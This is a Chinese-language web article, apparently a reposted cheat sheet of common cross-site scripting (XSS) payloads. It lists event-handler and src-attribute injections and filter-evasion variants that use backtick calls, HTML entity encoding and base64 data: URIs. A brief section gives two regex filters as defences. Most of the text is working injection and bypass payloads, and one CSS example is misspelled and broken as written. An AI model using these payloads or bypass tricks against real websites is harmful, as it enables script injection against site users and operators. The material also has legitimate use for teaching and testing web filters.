常見的XSS攻擊代碼


第一類:

<tag on*=*/>

在html標簽中觸發事件

Example:

1.加載完畢自動觸發事件

<body onload="alert('xss')"></body>

2.使html某元素撐滿整個頁面 

<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%">&nbsp;</p>

3.增加屬性觸發事件

 <input onfocus="alert('1')" autofocus/>


特殊字符' 、" 、( 、),如果遇到以上四個字符被過濾的情況,需要通過編碼的方式去繞過。

Example:

1.不使用 " 

 <input onfocus=alert('1') autofocus/>

2.不使用 '  

<input onfocus="alert(/1/)" autofocus/>

3.不使用 ( )  

<input onfocus="alert`'1'`" autofocus/>

4.不使用 ' " ( )

 <input onfocus=alert`1` autofocus/>

5.使用html實體編碼繞過

 <input onfocus="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;" autofocus/>

6.使用html實體編碼繞過變形 

<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

防范方式

Example:

1.使用環境允許插入html標簽排版的情況下,很常見的就是將html事件熟悉轉義為html實體編碼字符,當然也可以直接攔截返回404。常見匹配策略 /on[^=]*=/ig

2.使用環境不允許插入html標簽的情況下,不難看出所有的tag前面都緊貼着一個 “ < ” ,所以只需要將 “ < ” 使用html實體編碼轉換即可。常見匹配策略 /</g

第二類:<tag src=*/>

Example:

1.在iframe標簽中加載一個腳本頁面

<iframe src="./alert.html"></iframe>

2.在script標簽中加載一個腳本

 <script src="./alert.js"></script>

在src屬性中可以使用可以直接請求一個外部連接,還可以用Data URI scheme直接嵌入文本

Example:

1.在iframe標簽中使用Data URI scheme直接嵌入文本

 <iframe src="data:text/html,<script>alert('1')</script>"></iframe>

2.在script標簽中使用Data URI scheme直接嵌入文本 

<script src="data:text/html,alert('1')"></script>

使用Data URI scheme直接嵌入文本,比較繁瑣,但是這類的好處在於可以使用BASE64編碼格式

Example:

1.在iframe標簽中使用Data URI scheme直接嵌入BASE64編碼后的文本

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

2.在script標簽中使用Data URI scheme直接嵌入BASE64編碼后的文本

<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

在該類型的變形中還可以結合第一類的變形使用

Example:

1.使用html實體編碼URI 

<script src="&#46;&#47;&#97;&#108;&#101;&#114;&#116;&#46;&#106;&#115;"></script>

2.使用html實體編碼Data URI scheme

 <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#44;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;"></script>

3.使用html實體編碼BASE64編碼之后的Data URI scheme

 <script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#89;&#87;&#120;&#108;&#99;&#110;&#81;&#111;&#74;&#122;&#69;&#110;&#75;&#81;&#61;&#61;"></script>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM